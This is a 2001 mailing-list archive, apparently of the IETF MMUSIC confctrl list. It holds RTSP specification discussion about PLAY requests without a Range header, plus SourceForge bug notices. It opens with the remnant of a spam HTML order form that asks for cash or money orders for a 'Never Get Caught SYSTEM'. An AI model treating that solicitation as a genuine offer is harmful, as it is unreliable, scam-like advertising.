<p class=3DMsoBodyText2><span lang=3DEN-US><![if !supportEmptyParas]>&nbsp=
;</span></p>

<p class=3DMsoBodyText2>&nbsp;</p>

<p class=3DMsoBodyText2>Mail the following form with your payment</p>

<p class=3DMsoBodyText2><span lang=3DEN-US><![endif]><o:p></o:p></span></p=
>

<p class=3DMsoBodyText2>&nbsp;</p>

<div align=3Dcenter>

<table border=3D0 cellpadding=3D0 width=3D"90%" style=3D'mso-cellspacing: =
1.5pt; mso-padding-alt: 1.5pt 1.5pt 1.5pt 1.5pt'>
 <tr style=3D'height:23.25pt'>
  <td width=3D"99%" style=3D'width:99.24%;padding:1.5pt 1.5pt 1.5pt 1.5pt;
  height:23.25pt'>
  <h3><strong><span lang=3DEN-US>Mail In Order Form</span></strong><span
  lang=3DEN-US style=3D'color:black'><o:p></o:p></span></h3>
  </td>
 </tr>
 <tr>
  <td width=3D"99%" style=3D'width:99.24%;padding:1.5pt 1.5pt 1.5pt 1.5pt'=
>
  <p class=3DMsoNormal align=3Dcenter style=3D'text-align:center'><b><span
  lang=3DEN-US style=3D'font-size:18.0pt;mso-bidi-font-size:12.0pt;color:b=
lack'>We
  Accept<o:p></o:p></span></b></p>
  <p class=3DMsoNormal align=3Dcenter style=3D'text-align:center'><b><span
  lang=3DEN-US style=3D'font-size:18.0pt;mso-bidi-font-size:12.0pt;color:b=
lack'>Business
  Checks, Certified Bank Checks, <o:p></o:p></span></b></p>
  <p class=3DMsoNormal align=3Dcenter style=3D'text-align:center'><b><span
  lang=3DEN-US style=3D'font-size:18.0pt;mso-bidi-font-size:12.0pt;color:b=
lack'>Money
  Orders, Or Cash</span><span lang=3DEN-US style=3D'color:black'><o:p></o:=
p></span></b></p>
  </td>
 </tr>
 <tr>
  <td width=3D"149%" style=3D'padding: 1.5pt'>
  <b><span lang=3DEN-US style=3D'mso-bidi-font-size:18.0pt'>Make
    Checks Payable to</span><span lang=3DEN-US style=3D'font-size:14.0pt;
    mso-bidi-font-size:18.0pt'>:</span><span lang=3DEN-US
    style=3D'font-size:18.0pt'> <u>CURES</u></span></b><span lang=3DEN-US>=
<b><span style=3D"font-size: 18.0pt">
  </span></b></span><span lang=3DEN-US style=3D'font-size:13.5pt'>PO.BOX 4=
267,
  Pittsburgh, PA 15203-0267</span>
  </td>
 </center>
 </tr>
</table>

</div>

      <center>

<div align=3Dcenter>

<table border=3D0 cellspacing=3D0 cellpadding=3D0 width=3D"90%" style=3D'w=
idth:90.0%;
 mso-cellspacing:0cm;mso-padding-alt:0cm 0cm 0cm 0cm'>
 <tr>
  <td valign=3Dtop style=3D'padding:0cm 0cm 0cm 0cm'>
  <table border=3D0 cellpadding=3D0 width=3D"98%" style=3D'width:98.0%;mso=
-cellspacing:
   1.5pt'>
   <tr style=3D'height:155.4pt'>
    <td width=3D"48%" valign=3Dbottom style=3D'width:48.0%;padding:.75pt .=
75pt .75pt .75pt;
    height:155.4pt'>
    <div align=3Dcenter>
    <table border=3D1 cellpadding=3D0 width=3D"100%" style=3D'width:100.0%=
;mso-cellspacing:
     1.5pt;border:outset .75pt;mso-padding-alt:1.5pt 1.5pt 1.5pt 1.5pt'>
     <tr style=3D'height:1.0pt'>
      <td valign=3Dtop style=3D'border:inset .75pt;padding:1.5pt 1.5pt 1.5=
pt 1.5pt;
      height:1.0pt'>
      <p class=3DMsoNormal><span lang=3DEN-US style=3D'font-size:10.0pt'>N=
ame:</span><span
      lang=3DEN-US style=3D'color:black'><o:p></o:p></span></p>
      </td>
     </tr>
     <tr style=3D'height:32.1pt'>
      <td valign=3Dtop style=3D'border:inset .75pt;padding:1.5pt 1.5pt 1.5=
pt 1.5pt;
      height:32.1pt'>
      <p class=3DMsoNormal><span lang=3DEN-US style=3D'font-size:10.0pt'>S=
treet:</span><span
      lang=3DEN-US style=3D'color:black'><o:p></o:p></span></p>
      </td>
     </tr>
     <tr>
      <td valign=3Dtop style=3D'border:inset .75pt;padding:1.5pt 1.5pt 1.5=
pt 1.5pt'>
      <p class=3DMsoNormal><span lang=3DEN-US style=3D'font-size:10.0pt'>C=
ity:</span><span
      lang=3DEN-US style=3D'color:black'><o:p></o:p></span></p>
      </td>
     </tr>
     <tr>
      <td valign=3Dtop style=3D'border:inset .75pt;padding:1.5pt 1.5pt 1.5=
pt 1.5pt'>
      <p class=3DMsoNormal><span lang=3DEN-US style=3D'font-size:10.0pt'>S=
tate, Zip:</span><span
      lang=3DEN-US style=3D'color:black'><o:p></o:p></span></p>
      </td>
     </tr>
     <tr>
      <td valign=3Dtop style=3D'border:inset .75pt;padding:1.5pt 1.5pt 1.5=
pt 1.5pt'>
      <p class=3DMsoNormal><span lang=3DEN-US style=3D'font-size:10.0pt'>E=
mail
      Address:</span><span lang=3DEN-US style=3D'color:black'><o:p></o:p><=
/span></p>
      </td>
     </tr>
     <tr style=3D'height:15.9pt'>
      <td valign=3Dtop style=3D'border:inset .75pt;padding:1.5pt 1.5pt 1.5=
pt 1.5pt;
      height:15.9pt'>
      <p class=3DMsoNormal><span lang=3DEN-US style=3D'font-size:10.0pt'>P=
hone:</span><span
      lang=3DEN-US style=3D'color:black'><o:p></o:p></span></p>
      </td>
     </tr>
     <tr style=3D'height:12.75pt'>
      <td valign=3Dtop style=3D'border:inset .75pt;padding:1.5pt 1.5pt 1.5=
pt 1.5pt;
      height:12.75pt'>
      <p class=3DMsoNormal><span lang=3DEN-US style=3D'font-size:10.0pt'>F=
ax:</span><span
      lang=3DEN-US style=3D'color:black'><o:p></o:p></span></p>
      </td>
     </tr>
    </table>
    </div>
    <p class=3DMsoNormal align=3Dcenter style=3D'text-align:center'><span =
lang=3DEN-US
    style=3D'color:black'><o:p></o:p></span></p>
    </td>
    <td width=3D"4%" valign=3Dbottom style=3D'width:4.0%;padding:.75pt .75=
pt .75pt .75pt;
    height:155.4pt'>
    <p class=3DMsoNormal align=3Dcenter style=3D'text-align:center'><![if =
!supportEmptyParas]>&nbsp;<![endif]><span
    lang=3DEN-US style=3D'color:black'><o:p></o:p></span></p>
    </td>
    <td width=3D"48%" valign=3Dtop style=3D'width:48.0%;padding:.75pt .75p=
t .75pt .75pt;
    height:155.4pt'>
    <p class=3DMsoNormal align=3Dcenter style=3D'text-align:center'><u><sp=
an
    lang=3DEN-US>Please also SHIP an order to a friend</span></u></p>
    <div align=3Dcenter>
    <table border=3D0 cellpadding=3D0 width=3D"100%" style=3D'width:100.0%=
;mso-cellspacing:
     1.5pt;border:outset .75pt;mso-padding-alt:1.5pt 1.5pt 1.5pt 1.5pt'>
     <tr>
      <td valign=3Dtop style=3D'border:inset .75pt;padding:1.5pt 1.5pt 1.5=
pt 1.5pt'>
      <p class=3DMsoNormal><span lang=3DEN-US style=3D'font-size:10.0pt'>N=
ame:</span><span
      lang=3DEN-US style=3D'color:black'><o:p></o:p></span></p>
      </td>
     </tr>
     <tr>
      <td valign=3Dtop style=3D'border:inset .75pt;padding:1.5pt 1.5pt 1.5=
pt 1.5pt'>
      <p class=3DMsoNormal><span lang=3DEN-US style=3D'font-size:10.0pt'>S=
treet:</span><span
      lang=3DEN-US style=3D'color:black'><o:p></o:p></span></p>
      </td>
     </tr>
     <tr>
      <td valign=3Dtop style=3D'border:inset .75pt;padding:1.5pt 1.5pt 1.5=
pt 1.5pt'>
      <p class=3DMsoNormal><span lang=3DEN-US style=3D'font-size:10.0pt'>C=
ity:</span><span
      lang=3DEN-US style=3D'color:black'><o:p></o:p></span></p>
      </td>
     </tr>
     <tr>
      <td valign=3Dtop style=3D'border:inset .75pt;padding:1.5pt 1.5pt 1.5=
pt 1.5pt'>
      <p class=3DMsoNormal><span lang=3DEN-US style=3D'font-size:10.0pt'>S=
tate, Zip:</span><span
      lang=3DEN-US style=3D'color:black'><o:p></o:p></span></p>
      </td>
     </tr>
     <tr>
      <td valign=3Dtop style=3D'border:inset .75pt;padding:1.5pt 1.5pt 1.5=
pt 1.5pt'>
      <p class=3DMsoNormal><span lang=3DEN-US style=3D'font-size:10.0pt'>P=
hone:</span><span
      lang=3DEN-US style=3D'color:black'><o:p></o:p></span></p>
      </td>
     </tr>
     <tr>
      <td valign=3Dtop style=3D'border:inset .75pt;padding:1.5pt 1.5pt 1.5=
pt 1.5pt'>
      <p class=3DMsoNormal><span lang=3DEN-US style=3D'font-size:10.0pt'>F=
ax:</span><span
      lang=3DEN-US style=3D'color:black'><o:p></o:p></span></p>
      </td>
     </tr>
    </table>
    </div>
    <p class=3DMsoNormal align=3Dcenter style=3D'text-align:center'><span =
lang=3DEN-US
    style=3D'color:black'><o:p></o:p></span></p>
    </td>
   </tr>
  </table>
  <p class=3DMsoNormal><span lang=3DEN-US style=3D'color:black'><![if !sup=
portEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></p>
  <div align=3D"center">
    <center>
  <table border=3D0 cellspacing=3D1 cellpadding=3D0 width=3D600 style=3D'w=
idth:450.0pt;
   mso-cellspacing:.7pt;border:outset 1.5pt'>
   <tr style=3D'height:10.35pt'>
    <td style=3D'border:inset .75pt;background:silver;padding:.75pt .75pt =
75pt .75pt;
    height:10.35pt'>
    <p class=3DMsoNormal align=3Dcenter style=3D'text-align:center'><stron=
g><span
    lang=3DEN-US style=3D'font-size:10.0pt'>Item#</span></strong><span lan=
g=3DEN-US
    style=3D'color:black'><o:p></o:p></span></p>
    </td>
    <td style=3D'border:inset .75pt;background:silver;padding:.75pt .75pt =
75pt .75pt;
    height:10.35pt'>
    <p class=3DMsoNormal align=3Dcenter style=3D'text-align:center'><stron=
g><span
    lang=3DEN-US style=3D'font-size:10.0pt'>Description</span></strong><sp=
an
    lang=3DEN-US style=3D'color:black'><o:p></o:p></span></p>
    </td>
    <td style=3D'border:inset .75pt;background:silver;padding:.75pt .75pt =
75pt .75pt;
    height:10.35pt'>
    <p class=3DMsoNormal align=3Dcenter style=3D'text-align:center'><stron=
g><span
    lang=3DEN-US style=3D'font-size:10.0pt'>Quantity</span></strong><span
    lang=3DEN-US style=3D'color:black'><o:p></o:p></span></p>
    </td>
    <td style=3D'border:inset .75pt;background:silver;padding:.75pt .75pt =
75pt .75pt;
    height:10.35pt'>
    <p class=3DMsoNormal align=3Dcenter style=3D'text-align:center'><stron=
g><span
    lang=3DEN-US style=3D'font-size:10.0pt'>Price Ea.</span></strong><span
    lang=3DEN-US style=3D'color:black'><o:p></o:p></span></p>
    </td>
    <td style=3D'border:inset .75pt;background:silver;padding:.75pt .75pt =
75pt .75pt;
    height:10.35pt'>
    <p class=3DMsoNormal align=3Dcenter style=3D'text-align:center'><stron=
g><span
    lang=3DEN-US style=3D'font-size:10.0pt'>Total</span></strong><span lan=
g=3DEN-US
    style=3D'color:black'><o:p></o:p></span></p>
    </td>
   </tr>
   <tr style=3D'height:13.75pt'>
    <td style=3D'border:inset .75pt;padding:.75pt .75pt .75pt .75pt;height=
:13.75pt'>
    <h1><span lang=3DEN-US style=3D'font-size:11.0pt;mso-bidi-font-size:12=
0pt;
    color:windowtext'>SPEED 01<o:p></o:p></span></h1>
    </td>
    <td style=3D'border:inset .75pt;padding:.75pt .75pt .75pt .75pt;height=
:13.75pt'>
    <h2><b><span lang=3DEN-US style=3D'font-size:11.0pt;mso-bidi-font-size=
:12.0pt'>Never
    Get Caught SYSTEM_________ <span style=3D'color:black'><o:p></o:p></sp=
an></span></b></h2>
    </td>
    <td style=3D'border:inset .75pt;padding:.75pt .75pt .75pt .75pt;height=
:13.75pt'>
    <p class=3DMsoNormal><span lang=3DEN-US>_________<span style=3D'color:=
black'><o:p></o:p></span></span></p>
    </td>
    <td style=3D'border:inset .75pt;padding:.75pt .75pt .75pt .75pt;height=
:13.75pt'>
    <p class=3DMsoNormal><b><span lang=3DEN-US>$<u>14.80</u></span></b><u>=
<span
    lang=3DEN-US>______</span></u><span lang=3DEN-US style=3D'color:black'=
><o:p></o:p></span></p>
    </td>
    <td style=3D'border:inset .75pt;padding:.75pt .75pt .75pt .75pt;height=
:13.75pt'>
    <p class=3DMsoNormal><span lang=3DEN-US>$<b><u>14.80</u></b><u>______<=
/u><span
    style=3D'color:black'><o:p></o:p></span></span></p>
    </td>
   </tr>
   <tr style=3D'height:13.1pt'>
    <td style=3D'border:inset .75pt;padding:.75pt .75pt .75pt .75pt;height=
:13.1pt'>
    <p class=3DMsoNormal><span lang=3DEN-US>________<span style=3D'color:b=
lack'><o:p></o:p></span></span></p>
    </td>
    <td style=3D'border:inset .75pt;padding:.75pt .75pt .75pt .75pt;height=
:13.1pt'>
    <p class=3DMsoNormal><span lang=3DEN-US>______________________________=
<span
    style=3D'color:black'><o:p></o:p></span></span></p>
    </td>
    <td style=3D'border:inset .75pt;padding:.75pt .75pt .75pt .75pt;height=
:13.1pt'>
    <p class=3DMsoNormal><span lang=3DEN-US>_________<span style=3D'color:=
black'><o:p></o:p></span></span></p>
    </td>
    <td style=3D'border:inset .75pt;padding:.75pt .75pt .75pt .75pt;height=
:13.1pt'>
    <p class=3DMsoNormal><span lang=3DEN-US>$_______.___<span style=3D'col=
or:black'><o:p></o:p></span></span></p>
    </td>
    <td style=3D'border:inset .75pt;padding:.75pt .75pt .75pt .75pt;height=
:13.1pt'>
    <p class=3DMsoNormal><span lang=3DEN-US>$_______.___<span style=3D'col=
or:black'><o:p></o:p></span></span></p>
    </td>
   </tr>
   <tr style=3D'height:1.95pt'>
    <td style=3D'border:inset .75pt;padding:.75pt .75pt .75pt .75pt;height=
:1.95pt'>
    <p class=3DMsoNormal><span lang=3DEN-US>________<span style=3D'color:b=
lack'><o:p></o:p></span></span></p>
    </td>
    <td style=3D'border:inset .75pt;padding:.75pt .75pt .75pt .75pt;height=
:1.95pt'>
    <p class=3DMsoNormal><span lang=3DEN-US>______________________________=
<span
    style=3D'color:black'><o:p></o:p></span></span></p>
    </td>
    <td style=3D'border:inset .75pt;padding:.75pt .75pt .75pt .75pt;height=
:1.95pt'>
    <p class=3DMsoNormal><span lang=3DEN-US>_________<span style=3D'color:=
black'><o:p></o:p></span></span></p>
    </td>
    <td style=3D'border:inset .75pt;padding:.75pt .75pt .75pt .75pt;height=
:1.95pt'>
    <p class=3DMsoNormal><span lang=3DEN-US>$_______.___<span style=3D'col=
or:black'><o:p></o:p></span></span></p>
    </td>
    <td style=3D'border:inset .75pt;padding:.75pt .75pt .75pt .75pt;height=
:1.95pt'>
    <p class=3DMsoNormal><span lang=3DEN-US>$_______.___<span style=3D'col=
or:black'><o:p></o:p></span></span></p>
    </td>
   </tr>
   <tr style=3D'height:13.75pt'>
    <td style=3D'border:inset .75pt;padding:.75pt .75pt .75pt .75pt;height=
:13.75pt'>
    <p class=3DMsoNormal><span lang=3DEN-US>________<span style=3D'color:b=
lack'><o:p></o:p></span></span></p>
    </td>
    <td style=3D'border:inset .75pt;padding:.75pt .75pt .75pt .75pt;height=
:13.75pt'>
    <p class=3DMsoNormal><span lang=3DEN-US>______________________________=
<span
    style=3D'color:black'><o:p></o:p></span></span></p>
    </td>
    <td style=3D'border:inset .75pt;padding:.75pt .75pt .75pt .75pt;height=
:13.75pt'>
    <p class=3DMsoNormal><span lang=3DEN-US>_________<span style=3D'color:=
black'><o:p></o:p></span></span></p>
    </td>
    <td style=3D'border:inset .75pt;padding:.75pt .75pt .75pt .75pt;height=
:13.75pt'>
    <p class=3DMsoNormal><span lang=3DEN-US>$_______.___<span style=3D'col=
or:black'><o:p></o:p></span></span></p>
    </td>
    <td style=3D'border:inset .75pt;padding:.75pt .75pt .75pt .75pt;height=
:13.75pt'>
    <p class=3DMsoNormal><span lang=3DEN-US>$_______.___<span style=3D'col=
or:black'><o:p></o:p></span></span></p>
    </td>
   </tr>
   <tr style=3D'height:4.9pt'>
    <td style=3D'border:inset .75pt;padding:.75pt .75pt .75pt .75pt;height=
:4.9pt'>
    <p class=3DMsoNormal><span lang=3DEN-US>________<span style=3D'color:b=
lack'><o:p></o:p></span></span></p>
    </td>
    <td style=3D'border:inset .75pt;padding:.75pt .75pt .75pt .75pt;height=
:4.9pt'>
    <p class=3DMsoNormal><span lang=3DEN-US>______________________________=
<span
    style=3D'color:black'><o:p></o:p></span></span></p>
    </td>
    <td style=3D'border:inset .75pt;padding:.75pt .75pt .75pt .75pt;height=
:4.9pt'>
    <p class=3DMsoNormal><span lang=3DEN-US>_________<span style=3D'color:=
black'><o:p></o:p></span></span></p>
    </td>
    <td style=3D'border:inset .75pt;padding:.75pt .75pt .75pt .75pt;height=
:4.9pt'>
    <p class=3DMsoNormal><span lang=3DEN-US>$_______.___<span style=3D'col=
or:black'><o:p></o:p></span></span></p>
    </td>
    <td style=3D'border:inset .75pt;padding:.75pt .75pt .75pt .75pt;height=
:4.9pt'>
    <p class=3DMsoNormal><span lang=3DEN-US>$_______.___<span style=3D'col=
or:black'><o:p></o:p></span></span></p>
    </td>
   </tr>
   <tr style=3D'height:2.15pt'>
    <td style=3D'border:inset .75pt;padding:.75pt .75pt .75pt .75pt;height=
:2.15pt'>
    <p class=3DMsoNormal><span lang=3DEN-US>________<span style=3D'color:b=
lack'><o:p></o:p></span></span></p>
    </td>
    <td style=3D'border:inset .75pt;padding:.75pt .75pt .75pt .75pt;height=
:2.15pt'>
    <p class=3DMsoNormal><span lang=3DEN-US>______________________________=
<span
    style=3D'color:black'><o:p></o:p></span></span></p>
    </td>
    <td style=3D'border:inset .75pt;padding:.75pt .75pt .75pt .75pt;height=
:2.15pt'>
    <p class=3DMsoNormal><span lang=3DEN-US>_________<span style=3D'color:=
black'><o:p></o:p></span></span></p>
    </td>
    <td style=3D'border:inset .75pt;padding:.75pt .75pt .75pt .75pt;height=
:2.15pt'>
    <p class=3DMsoNormal><span lang=3DEN-US>$_______.___<span style=3D'col=
or:black'><o:p></o:p></span></span></p>
    </td>
    <td style=3D'border:inset .75pt;padding:.75pt .75pt .75pt .75pt;height=
:2.15pt'>
    <p class=3DMsoNormal><span lang=3DEN-US>$_______.___<span style=3D'col=
or:black'><o:p></o:p></span></span></p>
    </td>
   </tr>
   <tr style=3D'height:13.75pt'>
    <td colspan=3D4 style=3D'border:inset .75pt;padding:.75pt .75pt .75pt =
75pt;
    height:13.75pt'>
    <p class=3DMsoNormal align=3Dright style=3D'text-align:right'><strong>=
<span
    lang=3DEN-US style=3D'font-size:10.0pt'>Merchandise Sub Total:</span><=
/strong><span
    lang=3DEN-US style=3D'color:black'><o:p></o:p></span></p>
    </td>
    <td style=3D'border:inset .75pt;padding:.75pt .75pt .75pt .75pt;height=
:13.75pt'>
    <p class=3DMsoNormal><span lang=3DEN-US>$_______.___<span style=3D'col=
or:black'><o:p></o:p></span></span></p>
    </td>
   </tr>
   <tr style=3D'height:13.1pt'>
    <td colspan=3D4 style=3D'border:inset .75pt;padding:.75pt .75pt .75pt =
75pt;
    height:13.1pt'>
    <p class=3DMsoNormal align=3Dright style=3D'text-align:right'><strong>=
<span
    lang=3DEN-US style=3D'font-size:10.0pt'>Shipping &amp; Handling</span>=
</strong><span
    lang=3DEN-US style=3D'font-size:10.0pt'> :</span><span lang=3DEN-US
    style=3D'color:black'><o:p></o:p></span></p>
    </td>
    <td style=3D'border:inset .75pt;padding:.75pt .75pt .75pt .75pt;height=
:13.1pt'>
    <p class=3DMsoNormal><b><span lang=3DEN-US>$2.00</span></b><span lang=3D=
EN-US
    style=3D'color:black'><o:p></o:p></span></p>
    </td>
   </tr>
   <tr style=3D'height:13.1pt'>
    <td colspan=3D4 style=3D'border:inset .75pt;padding:.75pt .75pt .75pt =
75pt;
    height:13.1pt'>
    <p class=3DMsoNormal align=3Dright style=3D'text-align:right'><strong>=
<span
    lang=3DEN-US style=3D'font-size:10.0pt'>Total:</span></strong><span la=
ng=3DEN-US
    style=3D'color:black'><o:p></o:p></span></p>
    </td>
    <td style=3D'border:inset .75pt;padding:.75pt .75pt .75pt .75pt;height=
:13.1pt'>
    <p class=3DMsoNormal><span lang=3DEN-US>$_____.___<span style=3D'color=
:black'><o:p></o:p></span></span></p>
    </td>
   </tr>
   <tr style=3D'height:13.75pt'>
    <td width=3D598 colspan=3D5 style=3D'width:448.6pt;border:inset .75pt;=
padding:
    .75pt .75pt .75pt .75pt;height:13.75pt' align=3D"left">
    <h4 align=3D"center"><span lang=3DEN-US style=3D'font-size:11.0pt;mso-=
bidi-font-size:12.0pt'><span
    style=3D"mso-spacerun: yes">=FFFFFFA0=FFFFFFA0=FFFFFFA0 </span>Thank y=
ou. You will receive you order
    in 10 to 14 business days from receipt of payment<o:p></o:p></span></h=
4>
    </td>
   </tr>
  </table>
    </center>
  </div>
  <p class=3DMsoNormal>&nbsp;</p>
  </td>
 </tr>
</table>

</div>

      <p class=3DMsoNormal>&nbsp;</p>

      </td>
    </tr>
  </table>
  </center>
</div>

</body>

</html>




From confctrl-owner  Thu Nov  1 12:41:44 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id MAA14483
	for confctrl-outgoing; Thu, 1 Nov 2001 12:41:44 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA14478
	for <confctrl@zephyr.isi.edu>; Thu, 1 Nov 2001 12:41:42 -0800 (PST)
Received: from prognet.com ([205.219.198.1])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA1KgBg16997
	for <confctrl@ISI.EDU>; Thu, 1 Nov 2001 12:42:11 -0800 (PST)
Received: from robla350.real.com ([172.23.100.116])
	by prognet.com (8.9.2/8.9.0) with ESMTP id MAA17293;
	Thu, 1 Nov 2001 12:42:08 -0800 (PST)
Message-Id: <5.1.0.14.2.20011101123650.03a6ace0@goobox.prognet.com>
X-Sender: robla@goobox.prognet.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Thu, 01 Nov 2001 12:42:06 -0800
To: Magnus Westerlund <magnus.westerlund@era-t.ericsson.se>,
        IETF MMUSIC WG <confctrl@ISI.EDU>
From: Rob Lanphier <robla@real.com>
Subject: Re: RTSP play method while playing
In-Reply-To: <3BD92B53.9CCEBF37@era-t.ericsson.se>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 11:22 AM 10/26/01 +0200, Magnus Westerlund wrote:
>In RFC 2326 p. 34 bottom part, in the PLAY method it says:
>
>A PLAY request without a Range header is legal. It starts playing a
>stream from the beginning unless the stream has been paused. If a
>stream has been paused via PAUSE, stream delivery resumes at the
>pause point. If a stream is playing, such a PLAY request causes no
>                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>further action and can be used by the client to test server liveness.
>^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>
>In a response to play without range while playing, what shall the server
>do with RTP-Info? The RTP-Info is required according to table in the
>beginning of chapter 12, but my opinion is that it lacks meaning in this
>case.

I agree.  I don't know if any implementation out there is actually using 
the PLAY request as described, and in retrospect, I don't think it was a 
good idea to add this (we should have a "PING" method if that's what we are 
really doing).

Could you add this as an issue on the SourceForge tracker?

http://sourceforge.net/tracker/?atid=377744&group_id=23194&func=browse

>By the way how is the work with the draft standard RTSP version going?

It's been on my TODO list for some time.  Given that I'm about to go on the 
road until 11/14, It looks unrealistic that we could actually get something 
done by the 11/14 cutoff, but we could still have something done by the 
actual meeting.

I've got a half-composed reply to your long email from a while 
back.  Actually, it'd be really helpful if you could get those issues in to 
the SourceForge tracker as well.

Thanks
Rob


From confctrl-owner  Thu Nov  1 23:14:48 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id XAA06581
	for confctrl-outgoing; Thu, 1 Nov 2001 23:14:48 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA06576
	for <confctrl@zephyr.isi.edu>; Thu, 1 Nov 2001 23:14:47 -0800 (PST)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA27FGg21022
	for <confctrl@isi.edu>; Thu, 1 Nov 2001 23:15:16 -0800 (PST)
Received: from usw-sf-web3-b.sourceforge.net ([10.3.1.7] helo=usw-sf-web3.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 15zYXq-0003KZ-00; Thu, 01 Nov 2001 23:15:14 -0800
Received: from nobody by usw-sf-web3.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 15zYXq-0007oX-00; Thu, 01 Nov 2001 23:15:14 -0800
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-477400 ] Play without range while playing
Message-Id: <E15zYXq-0007oX-00@usw-sf-web3.sourceforge.net>
Date: Thu, 01 Nov 2001 23:15:14 -0800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #477400, was opened at 2001-11-01 23:15
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477400&group_id=23194

Category: General
Group: Fix for Draft Standard
Status: Open
Resolution: None
Priority: 5
Submitted By: Magnus Westerlund (magwes)
Assigned to: Rob Lanphier (robla)
Summary: Play without range while playing

Initial Comment:
A PLAY request without a Range header is legal. It starts playing a
stream from the beginning unless the stream has been paused. If a
stream has been paused via PAUSE, stream delivery resumes at the
pause point. If a stream is playing, such a PLAY request causes no
                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
further action and can be used by the client to test server liveness.
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

In a response to play without range while playing, what shall the server
do with RTP-Info? The RTP-Info is required according to table in the
beginning of chapter 12, but my opinion is that it lacks meaning in this
case.



----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477400&group_id=23194

From confctrl-owner  Thu Nov  1 23:18:11 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id XAA06737
	for confctrl-outgoing; Thu, 1 Nov 2001 23:18:11 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA06732
	for <confctrl@zephyr.isi.edu>; Thu, 1 Nov 2001 23:18:11 -0800 (PST)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA27Ieg21826
	for <confctrl@isi.edu>; Thu, 1 Nov 2001 23:18:40 -0800 (PST)
Received: from usw-sf-web3-b.sourceforge.net ([10.3.1.7] helo=usw-sf-web3.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 15zYb9-0003MD-00; Thu, 01 Nov 2001 23:18:39 -0800
Received: from nobody by usw-sf-web3.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 15zYb9-0007r1-00; Thu, 01 Nov 2001 23:18:39 -0800
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-477402 ] In text references point wrong
Message-Id: <E15zYb9-0007r1-00@usw-sf-web3.sourceforge.net>
Date: Thu, 01 Nov 2001 23:18:39 -0800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #477402, was opened at 2001-11-01 23:18
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477402&group_id=23194

Category: None
Group: Fix for Draft Standard
Status: Open
Resolution: None
Priority: 5
Submitted By: Magnus Westerlund (magwes)
Assigned to: Nobody/Anonymous (nobody)
Summary: In text references point wrong

Initial Comment:
Several in text references are pointing to the wrong references list item.

----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477402&group_id=23194

From confctrl-owner  Thu Nov  1 23:19:42 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id XAA06788
	for confctrl-outgoing; Thu, 1 Nov 2001 23:19:42 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA06777
	for <confctrl@zephyr.isi.edu>; Thu, 1 Nov 2001 23:19:40 -0800 (PST)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA27K9g22026
	for <confctrl@isi.edu>; Thu, 1 Nov 2001 23:20:10 -0800 (PST)
Received: from usw-sf-web3-b.sourceforge.net ([10.3.1.7] helo=usw-sf-web3.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 15zYcb-0003N3-00; Thu, 01 Nov 2001 23:20:09 -0800
Received: from nobody by usw-sf-web3.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 15zYcb-0007sV-00; Thu, 01 Nov 2001 23:20:09 -0800
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-477403 ] Missing session header in response
Message-Id: <E15zYcb-0007sV-00@usw-sf-web3.sourceforge.net>
Date: Thu, 01 Nov 2001 23:20:09 -0800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #477403, was opened at 2001-11-01 23:20
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477403&group_id=23194

Category: None
Group: Fix for Draft Standard
Status: Open
Resolution: None
Priority: 5
Submitted By: Magnus Westerlund (magwes)
